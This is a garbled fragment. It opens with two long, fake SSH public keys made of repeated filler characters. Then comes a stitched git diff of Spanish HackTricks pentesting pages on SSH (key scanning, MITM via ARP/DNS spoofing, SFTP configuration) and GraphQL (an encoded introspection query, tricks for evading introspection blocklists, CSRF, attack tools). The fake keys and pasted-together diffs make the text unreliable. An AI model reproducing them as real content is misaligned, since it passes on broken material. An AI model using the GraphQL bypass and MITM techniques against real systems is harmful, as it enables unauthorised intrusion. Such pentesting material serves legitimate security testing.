ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
@ -178,7 +178,7 @@ Si estás en la red local como la víctima que va a conectarse al servidor SSH u
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* hace exactamente lo que se describe anteriormente.
Para capturar y realizar el MitM real, podrías utilizar técnicas como el ARP spoofing, el DNS spoofing u otras descritas en los [**ataques de suplantación de red**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
Para capturar y realizar el MitM real, podrías utilizar técnicas como el envenenamiento ARP, el envenenamiento DNS u otras descritas en los [**ataques de suplantación de red**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
## Configuraciones incorrectas de la configuración
@ -221,13 +221,12 @@ $ ssh noraj@192.168.1.94 /bin/bash
Aquí tienes un ejemplo de configuración segura de SFTP (`/etc/ssh/sshd_config` - openSSH) para el usuario `noraj`:
```plaintext
# /etc/ssh/sshd_config
# Permitir solo SFTP y deshabilitar el acceso SSH
Subsystem sftp internal-sftp
Match User noraj
ForceCommand internal-sftp
PasswordAuthentication yes
ChrootDirectory /home/noraj
PermitTunnel no
AllowAgentForwarding no
@ -235,7 +234,7 @@ Match User noraj
X11Forwarding no
```
Esta configuración asegura que el usuario `noraj` solo pueda acceder a través de SFTP y no tenga acceso SSH. Además, se fuerza el uso del comando `internal-sftp`, se establece el directorio raíz (`ChrootDirectory`) en `/home/noraj` y se deshabilitan las opciones de túnel, reenvío de agente, reenvío TCP y reenvío X11.
Esta configuración asegura que el usuario `noraj` solo pueda acceder a través de SFTP y no tenga acceso SSH. Además, se habilita la autenticación por contraseña, se establece el directorio raíz en `/home/noraj` y se deshabilitan las opciones de túnel, reenvío de agente, reenvío TCP y reenvío X11.
```
Match User noraj
ChrootDirectory %h
@ -299,9 +298,9 @@ id_rsa
* Puedes encontrar guías interesantes sobre cómo endurecer SSH en [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}

View File

@ -298,7 +298,7 @@ fragment TypeRef on __Type {
}
```
Esta consulta de introspección en línea permite obtener información detallada sobre el esquema GraphQL. Proporciona detalles sobre los tipos, directivas, campos, argumentos y valores posibles. Al ejecutar esta consulta, se obtendrá una descripción completa del esquema GraphQL utilizado en la aplicación.
Esta consulta permite obtener información sobre el esquema GraphQL en línea. Proporciona detalles sobre los tipos, directivas, campos, argumentos y valores enumerados presentes en el esquema. Al ejecutar esta consulta, se obtendrá una respuesta que contiene información detallada sobre la estructura y las características del esquema GraphQL.
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
@ -312,7 +312,7 @@ Si la introspección está habilitada, puedes usar [**GraphQL Voyager**](https:/
Ahora que sabemos qué tipo de información se guarda en la base de datos, intentemos **extraer algunos valores**.
En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto de la bandera.
En la introspección puedes encontrar **a qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto de la bandera.
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
@ -497,7 +497,7 @@ Una buena **lista de palabras** para descubrir [**entidades de GraphQL se puede
### Eludir las defensas de introspección de GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Si no puedes hacer que se ejecuten las consultas de introspección para la API que estás probando, intenta insertar un **carácter especial después de la palabra clave `__schema`**.
Si no puedes hacer que las consultas de introspección se ejecuten en la API que estás probando, intenta insertar un **carácter especial después de la palabra clave `__schema`**.
Cuando los desarrolladores deshabilitan la introspección, podrían usar una expresión regular para excluir la palabra clave `__schema` en las consultas. Deberías probar caracteres como **espacios**, **saltos de línea** y **comas**, ya que son **ignorados** por GraphQL pero no por una expresión regular defectuosa.
@ -527,9 +527,9 @@ Si no sabes qué es CSRF, lee la siguiente página:
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
Allí podrás encontrar varios puntos finales de GraphQL **configurados sin tokens CSRF**.
Encontrarás varios puntos finales de GraphQL **configurados sin tokens CSRF**.
Ten en cuenta que las solicitudes de GraphQL generalmente se envían a través de solicitudes POST utilizando el Content-Type **`application/json`**.
Ten en cuenta que las solicitudes de GraphQL generalmente se envían mediante solicitudes POST utilizando el Content-Type **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
@ -598,10 +598,11 @@ valid
### Escáneres de vulnerabilidades
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se pueden utilizar para obtener esquemas y buscar datos sensibles, probar la autorización, forzar esquemas y encontrar rutas hacia un tipo específico.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Puede utilizarse como una extensión independiente o de [Burp](https://github.com/doyensec/inql).
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se puede utilizar para obtener esquemas y buscar datos sensibles, probar la autorización, forzar esquemas y encontrar rutas hacia un tipo específico.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Puede utilizarse como una extensión independiente o [extensión de Burp](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Puede utilizarse como un cliente de línea de comandos para automatizar ataques.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que enumera las diferentes formas de llegar a un tipo específico en un esquema de GraphQL.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El componente _**Scanner**_ es el núcleo de InQL v5.0, donde se puede analizar un punto final de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las consultas y mutaciones posibles, organizándolas en una vista estructurada para su análisis. El componente _**Attacker**_ le permite ejecutar ataques de GraphQL por lotes, lo cual puede ser útil para evadir límites de velocidad implementados de manera deficiente.
### Clientes

View File

@ -5,16 +5,16 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
